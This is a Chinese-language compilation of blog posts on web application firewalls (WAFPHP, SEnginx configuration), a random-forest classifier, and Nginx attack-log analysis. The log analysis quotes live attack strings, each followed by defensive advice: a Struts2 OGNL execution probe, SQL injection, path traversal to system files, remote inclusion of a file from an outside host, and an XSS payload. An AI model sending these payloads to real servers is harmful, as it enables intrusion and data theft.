枪与玫瑰

WAFPHP高阶教程

WAFPHP框架开发指南

数据模型开发规范

路径结构

#your WAFPHP path#/Lib/Model/

接口规范

需实现 ModelInterface 接口,包含以下核心方法:

核心方法说明

方法名 功能描述 特殊要求
getInstance() 单例模式实例化方法,避免多实例资源消耗 必须实现
getDefaultConfig() 返回默认配置,与用户配置合并时以用户配置优先 必须实现
sessionExists() 检查当前session有效性(绑定客户端IP,IP变更即失效) 必须实现
sessionBreath() session心跳维护,每次请求更新session有效时间 必须实现
proclaimSession() 颁发新session,记录客户端IP 必须实现
addSessionValue() 向session写入数据 必须实现
delSessionValue() 删除session指定键值 必须实现
getSessionValue() 获取session指定键值 必须实现
isBlackIP() 检查客户端IP是否在黑名单 必须实现
isWhiteSession() 检查当前session是否在白名单 必须实现
addBlackIP() 添加IP到黑名单 必须实现
addWhiteSession() 添加session到白名单 必须实现
delBlackIP() 删除黑名单IP(支持通配符前缀匹配) 必须实现
delWhiteSession() 删除白名单session(支持通配符前缀匹配) 必须实现
get() 通用数据获取方法 必须实现
set() 通用数据存储方法(建议设置过期时间) 必须实现
del() 通用数据删除方法 必须实现
getError() 获取最后错误信息 必须实现
quit() 资源清理方法,系统退出时自动调用 必须实现

⚠️ 特别说明:此处的session为框架自定义会话机制,与原生PHP session完全独立

WAFPHP进阶教程

WAFPHP框架运行流程与配置详解

流程篇

WAFPHP的完整运行流程如下:

系统执行流程

  1. 初始化框架:注册shutdown_functionspl_autoload_register,确保框架资源能被正确清理
  2. 收集请求信息:获取客户端IP、GET/POST参数、User-Agent、Cookie、Host等关键信息
  3. 加载系统配置:根据配置初始化数据模型和日志模块,记录系统启动时间及内存消耗
  4. 会话验证:检查当前请求的系统自有session有效性(与PHP原生session无关)
  5. 检测开关判断:若WAF_ON为false,跳过后续脚本检测直接执行步骤10
  6. 黑名单检测:检查IP和UA是否在全局黑名单中,若在则拦截请求
  7. 白名单检测:检查IP和UA是否在全局白名单中,若在则放行请求,不再执行脚本检测
  8. 脚本加载:根据SCRIPT_LIST配置加载待执行的检测脚本
  9. 脚本执行:按顺序执行检测脚本,任一脚本失败即拦截请求
  10. 系统退出:记录本次请求的运行状态和性能数据
  11. 资源清理:注销shutdown_functionspl_autoload_register,释放框架资源

配置篇

核心配置项

WAF_ON

  • 功能:脚本检测总开关
  • 类型:布尔值
  • 默认值:true

DEBUG_LEVEL

  • 功能:调试日志级别
  • 有效值:DEBUG/INFO/WARN/ERROR
  • 日志路径#your WAFPHP path#/Runtime/Logs/
  • 级别说明
    • DEBUG:记录详细运行耗时和内存消耗
    • INFO:记录系统运行主要提示信息
    • WARN:记录系统警告级别错误
    • ERROR:记录系统致命错误

MODEL_TYPE

  • 功能:数据模型类型
  • 支持类型:Redis/Memcache
  • 推荐:Redis(支持更丰富的数据操作,性能更优)

WHITE_LIST_LIFETIME

  • 功能:全局白名单有效时间
  • 单位:秒
  • 限制:不应超过600秒(系统自有session有效时间)

BLACK_LIST_LIFETIME

  • 功能:全局黑名单有效时间
  • 单位:秒

MODEL_CONFIG

  • 功能:数据模型连接配置
  • 示例
    [
        'type' => 'redis',
        'host' => '127.0.0.1',
        'port' => 6379,
        'password' => 'your_redis_password',
        'database' => 0
    ]
    

黑白名单配置

配置项 说明 示例
BLACK_IP 黑名单IP,支持D段范围 127.0.0.3-127.0.0.254
BLACK_UA 黑名单User-Agent,支持正则 `/bot
BLACK_UA_IGNORE_CASE 黑名单UA是否忽略大小写 true
WHITE_IP 白名单IP 192.168.1.0/24
WHITE_UA 白名单UA,支持正则 /Chrome/i
WHITE_UA_IGNORE_CASE 白名单UA是否忽略大小写 true
WHITE_UA_DNS_REVERSE 白名单UA是否启用DNS反向解析 true

检测脚本配置

配置项 说明 示例
SCRIPT_LIST 检测脚本列表,true表示启用 ['robot' => true, 'mysql' => false]
WAF_ROBOT_CONFIG 机器人检测配置 配置详情见机器人挑战模块
WAF_MYSQL_CONFIG SQL注入防护配置 配置详情见防SQL注入模块
WAF_XSS_CONFIG XSS防护配置 配置详情见防XSS模块
WAF_UPLOAD_CONFIG 文件上传防护配置 配置详情见防恶意文件上传模块

模块篇

机器人挑战模块

WAFPHP的机器人挑战模块提供四种防御模式:

WAFPHP-简介

WAFPHP - PHP级Web应用防护框架

http://www.mudoom.com/wp-content/uploads/2015/09/WAFPHP-150x150.jpg

简介

WAFPHP是一个轻量级PHP应用防护框架,具有以下特性:

  • 无侵入性:与现有代码完全解耦,无需修改业务代码
  • 模块化设计:支持开发各类防护插件(如防爬虫/防暴力破解)
  • 即插即用:提供开箱即用的安全防护功能
  • 灵活配置:支持运行时动态配置覆盖

⚠️ 注意:作为应用层防护方案,WAFPHP是传统防火墙的有效补充而非替代品

快速接入

标准接入方式

<?php
// 在任何输出前加载框架
require_once '#your WAFPHP path#/WAFPHP.php';

// 单例模式启动
$wafPHP = WAFPHP\WAFPHP::getInstance();

// 执行安全检测
$wafPHP->runCheck();

// 继续执行原有业务代码

自定义配置模式

<?php
require_once '#your WAFPHP path#/WAFPHP.php';

// 获取当前配置
$config = WAFPHP\WAFPHP::getCurrentConfig();

// 动态修改配置项
$config['REQUEST_RATE_LIMIT'] = '100/minute';

// 使用自定义配置启动
$wafPHP = WAFPHP\WAFPHP::getInstance($config);

// 执行安全检测
$wafPHP->runCheck();

配置管理

配置文件路径

#your WAFPHP path#/Conf/config.default.php

配置要点

  • 安全规则配置
  • 日志记录级别
  • 请求拦截策略
  • 插件加载管理

⚠️ 配置修改后建议进行完整的回归测试

机器学习之随机森林

机器学习算法选择:随机森林

一、算法选择依据

根据维基百科朴素贝叶斯分类器的说明,“2006年有一篇文章详细比较了各种分类方法,发现更新的方法(如提升树和随机森林)的性能超过了贝叶斯分类器”。综合网络中对两者的评价,我们选择随机森林作为机器学习算法。

二、数据预处理

(1)分词处理

使用jieba中文分词库将原始文本内容切分为一组有意义的分词。

(2)热独编码(One-Hot Encoding)

将多维特征数据转换为二进制表示形式,例如:

  • “我们” → 包含"我们"这组词的样本为1,否则为0

说明:热独编码是将类别型特征转换为数值型特征的常用方法,适用于机器学习算法输入要求。

三、sklearn随机森林算法参数详解

以下为RandomForestClassifier核心参数说明:

参数名称 默认值 说明
criterion gini 纯度计算方式(gini或entropy),详见参考资料(1)
max_features auto 最大特征数,减小m会降低树的相关性和分类能力;增大m会提高两者。详见参考资料(2)
max_depth None 决策树最大深度,大数据量场景下Spark项目组建议设为4(参考:Spark源码

实践参考《算法实践-随机森林》

参考资料

  1. Spark随机森林算法原理、源码分析及案例实战
  2. 随机森林(Random Forest)by poll笔记
  3. Python的决策树和随机森林
  4. OneHotEncoder进行数据预处理

实践建议

  1. 特征工程:在应用随机森林前,确保完成高质量的分词和特征编码
  2. 参数调优:根据实际数据集规模调整max_depthmax_features
  3. 模型评估:使用交叉验证评估模型性能,避免过拟合
  4. 性能优化:对于大规模数据,考虑使用分布式计算框架(如Spark MLlib)

提示:随机森林在处理高维数据和非线性关系时表现出色,同时能有效处理缺失值,是Web安全分类任务的理想选择。

SEnginx安全相关模块配置说明

SEnginx配置指南

简介

SEnginx是基于Nginx的Web应用防护模块,提供SQL注入/XSS/CC攻击等防护功能。官方主页:SEnginx官网

配置详解

全局配置

http {
    # 定义10MB内存用于访问统计
    statistics_zone 10m; 

    # IP黑名单配置
    ip_blacklist on;
    ip_blacklist_size 10240;
    ip_blacklist_timeout 120;
    ip_blacklist_mode local;

    # 限流配置(令牌桶算法)
    limit_req_zone $binary_remote_addr zone=mudoom:10m rate=10r/s;

    # 行为识别配置
    ip_behavior_zone zone=brand:10m sample_base=10 sample_cycle=2s;

    # IP白名单定义
    geo $ip_wl {
        ranges;
        default 0;
        127.0.0.1-127.0.0.1 1;
    }

    # UA白名单定义
    whitelist_ua $ua_wl {
        caseless;
        "Baiduspider" ".*\\.baidu\\.com";
        "Googlebot" ".*\\.google\\.com";
        # ...其他UA规则
    }
}

Server配置

server {
    # 虚拟主机配置
    virtual_server_name www.mudoom.cn;
    ip_behavior zone=brand type=sensitive_url;

    # 机器人防护配置
    location @process {
        robot_mitigation_global_whitelist ua_var_name=ua_wl ip_var_name=ip_wl;
        robot_mitigation on;
        robot_mitigation_mode js;
        robot_mitigation_blacklist 50;
        robot_mitigation_timeout 600;
    }

    # 管理接口配置
    location /blacklist_show {
        allow 127.0.0.1;
        deny all;
        ip_blacklist_show;
    }

    # 安全防护location
    location /mudoom {
        ip_behavior_sensitive;
        limit_req zone=mudoom burst=100 forbid_action=@process;

        # Cookie防护配置
        cookie_poisoning_whitelist ua_var_name=ua_wl ip_var_name=ip_wl;
        cookie_poisoning off;
        cookie_poisoning_action block,blacklist,5;

        # Naxsi规则配置
        naxsi_whitelist ua_var_name=ua_wl ip_var_name=ip_wl;
        LearningMode;
        DeniedUrl "/RequestDenied";
        CheckRule "$XSS >= 4" BLOCK;
        CheckRule "$SQL >= 8" BLOCK;
    }
}

统计变量说明

变量名 说明 变量名 说明
traffic 总访问量统计 attack 攻击总次数
cur_req 当前请求数 sql SQL注入攻击次数
req 总响应请求数 xss XSS攻击次数
res_2xx 2xx响应次数 rfi 远程文件包含次数
res_3xx 3xx响应次数 dt 目录穿越攻击次数
res_4xx 4xx响应次数 evade 规避攻击次数
res_5xx 5xx响应次数 fu 文件上传攻击次数
sent 发送数据总量(Byte) cp Cookie篡改次数
recvd 接收数据总量(Byte) wd 网页篡改次数
rm 机器人挑战触发次数 other 其他类型攻击次数

注意事项

  1. 统计持久化:所有统计信息保存在内存中,Nginx重启后数据会清零
  2. 安全配置:管理接口(如/blacklist_show)必须限制为内网访问
  3. 规则更新:Naxsi规则需定期更新以应对新型攻击
  4. 性能调优:根据实际流量调整limit_req_zoneip_behavior_zone的内存大小

模块功能矩阵

功能模块 支持类型 防护级别
机器人缓解 JS挑战/验证码/工作量证明 高强度防护
请求限流 令牌桶算法 基础防护
行为分析 敏感URL识别/访问模式分析 智能防护
Web攻击防护 Naxsi规则引擎 专业级防护
Cookie防护 篡改检测/黑名单 中等防护
IP/UA黑白名单 正则匹配/DNS反向解析 基础控制

建议结合WAFPHP等应用层防护方案构建纵深防御体系,推荐参考《OWASP Top 10防护指南》进行配置优化。

「Web安全」Nginx攻击日志分析

服务器安全分析:常见攻击类型与防范措施

最近查看百度云加速的报表统计,发现攻击拦截数再次达到100+。随着攻击成本不断降低,这类攻击越来越频繁。今天决定分析一下nginx日志,看看这些攻击都是什么类型的。

一、任意代码执行

1. Nginx日志

/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true

2. URL Decode后的请求

/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true

3. 攻击分析

从请求可以看出,这是一次针对JSP的Struts2框架漏洞扫描。这类扫描在日志中非常常见。

详细分析参考:Struts2框架漏洞分析

4. 防范分析

  1. 请求长度限制:正常访问很少有255+字符长度的请求,可限制这类"臃肿"请求。
  2. 特殊字符过滤:针对项目中不常用但代码中频繁出现的字符(如 ' "),禁止包含这些字符的请求。
  3. 代码审计工具:可使用"Seay源代码审计系统"进行PHP代码审计,但需注意其正则匹配不够智能,需要人工判断。

二、SQL注入攻击

1. Nginx日志

/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282

2. URL Decode后的请求

/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282

3. 攻击分析

SQL注入的常用手法是直接将"外界输入"作为查询参数,通过截断原有SQL构造特殊查询语句,如查询后台管理员密码等。

4. 防范分析

  1. 输入验证:不要相信任何"外界输入"(GET、POST、Cookie、HTTP_REFERER等),必须进行安全过滤。
  2. 预处理查询:使用查询条件预处理防止SQL注入。
  3. 数据库分权:程序连接数据库使用非根账号,每个账号仅管理一个数据库并授予最低权限。

三、文件包含

1. Nginx日志

/Article/show/id/30.html?pid=../../../../../../../../../../etc/rc.d/rc.local%00
/photo/index.html?p=c:/windows/win.ini%00
/?message=http://cirt.net/rfiinc.txt%00.php

2. 攻击分析

  1. 以上请求分别针对Linux和Windows的文件包含漏洞,黑客常试图包含系统敏感文件。
  2. 第三条请求使用了%00转义攻击,使txt文件被当作PHP解析。

3. 防范分析

  1. 路径请求过滤:限制使用../../这类相对路径的请求。
  2. 权限管理:Linux服务器不应使用root用户运行程序,使用特定用户并授予最低权限。
  3. Windows安全策略:对Windows服务器进行目录权限限制。
  4. 目录隔离:将程序入口文件转移到公共可访问目录,并限制程序进程逃逸出该目录。

四、XSS攻击

1. Nginx日志

/connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\x5Cu0027.replace(/.%2b/,/javascript:alert(511265478)/.source);

2. 攻击分析

这是一个针对Discuz登录回调的XSS攻击,通过隐藏的JavaScript代码实现攻击。这类攻击是前端安全问题的典型代表,手段更加隐蔽。